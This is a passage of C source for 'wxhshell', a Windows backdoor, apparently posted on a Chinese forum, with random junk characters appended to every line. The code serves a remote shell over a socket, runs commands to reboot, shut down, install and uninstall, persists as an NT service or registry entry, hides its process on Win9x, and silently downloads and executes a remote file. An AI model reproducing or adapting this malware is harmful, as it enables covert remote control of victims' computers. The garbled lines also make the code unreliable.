  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~@sx}u  
  } }B0V$  
  else { =AR'Pad  
$f C=v  
    switch(cmd[0]) { 'M G)noN5  
  :&TOQ<vM  
  // 帮助 k# &y  
  case '?': { >_&+gn${  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L"('gc!W  
    break; gL}K84T$S  
  } LClPAbr  
  // 安装 ?}lCS7&  
  case 'i': { =|?w<qc  
    if(Install()) ?,s{M^sj^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &OuyjW4  
    else uMqo)J@s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jRq>Sz{8  
    break; BHFWig*{  
    } 7i/?+|  
  // 卸载 (mza&WF7  
  case 'r': { J-I7K !B  
    if(Uninstall()) y4envjl 0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r}vI#;&  
    else .g4bV5ma3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f#^%\K:YYR  
    break; M{z+=c&w  
    } n|^-qy'w  
  // 显示 wxhshell 所在路径 YR[Ii?  
  case 'p': { ,L_p"A  
    char svExeFile[MAX_PATH]; q+LjWZ+O  
    strcpy(svExeFile,"\n\r"); P7@q vg  
      strcat(svExeFile,ExeFile); +F67g00T|  
        send(wsh,svExeFile,strlen(svExeFile),0); OjZ+gl}  
    break; v3aiX  
    } gk] r:p<O  
  // 重启 GH:Au  
  case 'b': { dd$\Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [ ra [~  
    if(Boot(REBOOT)) x{ZcF=4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |t.WPp5,  
    else { (>)Y0ki}  
    closesocket(wsh); fh,Y#.V`  
    ExitThread(0); 5Z;Py"%  
    } y0=BL  
    break; a2 YdkdjT  
    } >GZF \ER  
  // 关机 Z/ThY bk  
  case 'd': { EzthRe9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GU"MuW`u2  
    if(Boot(SHUTDOWN)) =@ON>SmPs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *4.f*3*  
    else { eH1Y!&`  
    closesocket(wsh); 0e/~H^,SQ  
    ExitThread(0); rg\|-_.es'  
    } }*0%wP  
    break; :!aFfb["  
    } FiFZM  
  // 获取shell NGb`f-:jw  
  case 's': { E2dSOZS:)%  
    CmdShell(wsh); i&?~QQP`  
    closesocket(wsh); Y4b"(ZhM_  
    ExitThread(0); & f!!UZMt)  
    break; ~[,E i k  
  } Ie+z"&0  
  // 退出 OGae]O<  
  case 'x': { ^(6.P)$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4I2ppz   
    CloseIt(wsh); zM)o^Fn2  
    break; vguqk!eo4  
    } |r3eq4$Am  
  // 离开 Wc+ e>*  
  case 'q': {  r5F#q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y6G[-?"/Q  
    closesocket(wsh); R4qS,2E  
    WSACleanup(); * 9*I:Uh57  
    exit(1); B|!YGf L  
    break; 47t^{WrT  
        } | pJ.73  
  } [.6uw=;o  
  } jPbL3"0A&  
[ 9$>N  
  // 提示信息 KL -8Aj~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wGbD%=  
} sg9ZYWcL  
  } s[Njk@y,  
J)o~FC]b*  
  return; 8 A2k-X,  
} 6i&WF<%D  
$R"~BZbt;  
// shell模块句柄 )|2g#hH5  
int CmdShell(SOCKET sock) 7$b78wax  
{ $r_z""eOc  
STARTUPINFO si; `cVG_= 2  
ZeroMemory(&si,sizeof(si)); WlG/7$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OZ7MpQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U[Z1@2zLx  
PROCESS_INFORMATION ProcessInfo; #<l ;YT8  
char cmdline[]="cmd"; @n})oAC,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d)q{s(<;  
  return 0; b}k`'++2,  
} ?2.< y_1  
a*vi&$@`Z1  
// 自身启动模式 Y}F+4   
int StartFromService(void) ==|//:: \  
{ JqFFI:Q5a  
typedef struct Z/a]oR@  
{ *jDzh;H!w  
  DWORD ExitStatus; >5XE*9  
  DWORD PebBaseAddress; Xf$,ra"  
  DWORD AffinityMask; kbOo;<X9A  
  DWORD BasePriority; VE{t]>*-u  
  ULONG UniqueProcessId; \t )Zk2  
  ULONG InheritedFromUniqueProcessId; c)lMi}/  
}   PROCESS_BASIC_INFORMATION; CJ%7M`zy  
Tw|=;m  
PROCNTQSIP NtQueryInformationProcess; KS%xo6k.  
CQ13fu +|6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ucB<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]k>S0  
[?]s((A~B  
  HANDLE             hProcess; wn|Sdp  
  PROCESS_BASIC_INFORMATION pbi; $g#%  
Soq 'B?>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G?YKm1:w   
  if(NULL == hInst ) return 0; h5B'w  
B&<Z#C:I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8<IO X  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {wCQ#V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;Wb W\,P'  
t[0gN:s  
  if (!NtQueryInformationProcess) return 0; =y ^N '1q  
C2bN<K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W!+5}\?  
  if(!hProcess) return 0; z) Bc91A  
=[vT=sHz7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~F DJKGK  
+ZXk0sP_<  
  CloseHandle(hProcess); Ns&SZO  
B ljZ&wZW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uiO8F*,!&r  
if(hProcess==NULL) return 0; %0=|WnF-  
@K2q*d  
HMODULE hMod; eX $u  
char procName[255]; ={8ClUV#  
unsigned long cbNeeded; (w)Qt/P^4  
-*+7-9A I  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1 ^Ci$ra  
w_4`Wsn  
  CloseHandle(hProcess); v(]\o;/O  
Tig`4d-%  
if(strstr(procName,"services")) return 1; // 以服务启动 (t fADaJM  
JKXs/r;:  
  return 0; // 注册表启动 ~#7=gI&p@  
} 53@*GXzE  
s$|GVv1B  
// 主模块 29 ')Y|$,  
int StartWxhshell(LPSTR lpCmdLine) _Su$oOy(Ea  
{ jh2D 9h  
  SOCKET wsl; S'vrO}yU  
BOOL val=TRUE; O~l WFaW  
  int port=0; jt=mK ,%  
  struct sockaddr_in door; Z[Uz~W6M]  
XwE(&ZCf'b  
  if(wscfg.ws_autoins) Install(); >t3%-Kc  
.$L'Jt2X  
port=atoi(lpCmdLine); Q4}2-}|  
 b-yfBO  
if(port<=0) port=wscfg.ws_port; )lBke*j~  
5fDVJE "9"  
  WSADATA data; d 0$)Y|d>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +*mi%)I  
7[.aAGTZ;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Nu<M~/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QI.{M$,m~  
  door.sin_family = AF_INET; G;>b}\Ng  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Qis[j-?:  
  door.sin_port = htons(port); CcG{+-= H)  
Xg_M{t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M]vc W  
closesocket(wsl); dpxP  
return 1; 4w<U%57  
} T;-&3  
x4r\cL1!  
  if(listen(wsl,2) == INVALID_SOCKET) { jhr: QS/9  
closesocket(wsl); j(AN] g:  
return 1; I'Ui` :A  
} 9o@5:.b<j  
  Wxhshell(wsl); :D\M.A  
  WSACleanup(); /5b,&  
jgQn^  
return 0; \Z{6j&;  
lZCTthr\  
} 2f2Vy:&O_  
Bvk 8b  
// 以NT服务方式启动 _lcx?IV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =]X_wA;%  
{ qRlS^=#  
DWORD   status = 0; Ha>Hb`  
  DWORD   specificError = 0xfffffff; cv})^E$x  
_r@ FWUZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }TI"j{(QJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :08b&myx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #fk#RNt  
  serviceStatus.dwWin32ExitCode     = 0; [Q9#44@{S;  
  serviceStatus.dwServiceSpecificExitCode = 0; Gi]R8?M  
  serviceStatus.dwCheckPoint       = 0; !~#zH0#  
  serviceStatus.dwWaitHint       = 0; 2l^hnog|  
u*u3<YQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |h}/#qhR  
  if (hServiceStatusHandle==0) return; .K%1{`.|  
cih[A2lp  
status = GetLastError(); ^Y[.-MJt+  
  if (status!=NO_ERROR) hA 1_zKZ  
{ !6.}{6b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }rK9M$2]u  
    serviceStatus.dwCheckPoint       = 0; U?]}K S;6  
    serviceStatus.dwWaitHint       = 0; _-mSK/Z  
    serviceStatus.dwWin32ExitCode     = status; nsW #  
    serviceStatus.dwServiceSpecificExitCode = specificError; xDJ@MW#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vcjmj  
    return; r I)Y W0  
  } 4OX|pa  
Lmh4ezrdH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O\0]o!  
  serviceStatus.dwCheckPoint       = 0; &q8oalh  
  serviceStatus.dwWaitHint       = 0; mcO/V-\5'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d rRi<7 i  
} p6P .I8g  
X^Dklqqy  
// 处理NT服务事件,比如:启动、停止 .t53+<A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'Z ;8-1M?O  
{ :]]#X ~J  
switch(fdwControl) X 0\O3l* j  
{ 5 1&||.  
case SERVICE_CONTROL_STOP: olLVT<  
  serviceStatus.dwWin32ExitCode = 0; q%&JAX=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ' tyblj C  
  serviceStatus.dwCheckPoint   = 0; d-k`DJ!  
  serviceStatus.dwWaitHint     = 0; )DG>omCY  
  { QT`|"RI%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yn`P:[v  
  } 7# !RX3  
  return; 5ub|r0&M  
case SERVICE_CONTROL_PAUSE: R"Ff(1m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T- ~l2u|s  
  break; Pk{eGG<F$  
case SERVICE_CONTROL_CONTINUE: 2&b?NqEeZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %mF:nU4  
  break; *.F^`]yz  
case SERVICE_CONTROL_INTERROGATE: 41^=z[k  
  break; XWd;-%`<  
}; STln_'DF'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n VNz5B  
} ."X}A t  
xOY %14%Y  
// 标准应用程序主函数 t,P_&0X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mc FSWmq  
{ p<[gzmU9\b  
E^K<b7  
// 获取操作系统版本 \mo NpKf  
OsIsNt=GetOsVer(); IJ[r!&PY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (D5sJ$&E@\  
cVb&Jzd  
  // 从命令行安装 b aO ^Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); UA0j#  
O-uno{Fd*  
  // 下载执行文件 (g HCu  
if(wscfg.ws_downexe) { ^osXM`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $:l>g)c  
  WinExec(wscfg.ws_filenam,SW_HIDE); A.YXK%A%  
} =%=lq0GF0  
&hnI0m=X  
if(!OsIsNt) { @yImR+^.7  
// 如果时win9x,隐藏进程并且设置为注册表启动 S&JsDPzSd  
HideProc(); ! )x2   
StartWxhshell(lpCmdLine); w ag^Sk  
} 6, ~Y(#  
else BG&XCn5g|  
  if(StartFromService()) VY1&YR}Y  
  // 以服务方式启动 ,h<xL-  
  StartServiceCtrlDispatcher(DispatchTable); kN~:Bh$  
else #lDW?  
  // 普通方式启动 V9:Jz Q=?`  
  StartWxhshell(lpCmdLine); ' pN[H\Ia  
I5%#A/|z  
return 0; ]Y.GU7`  
}
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只看该作者 1 发表于: 2006-10-10
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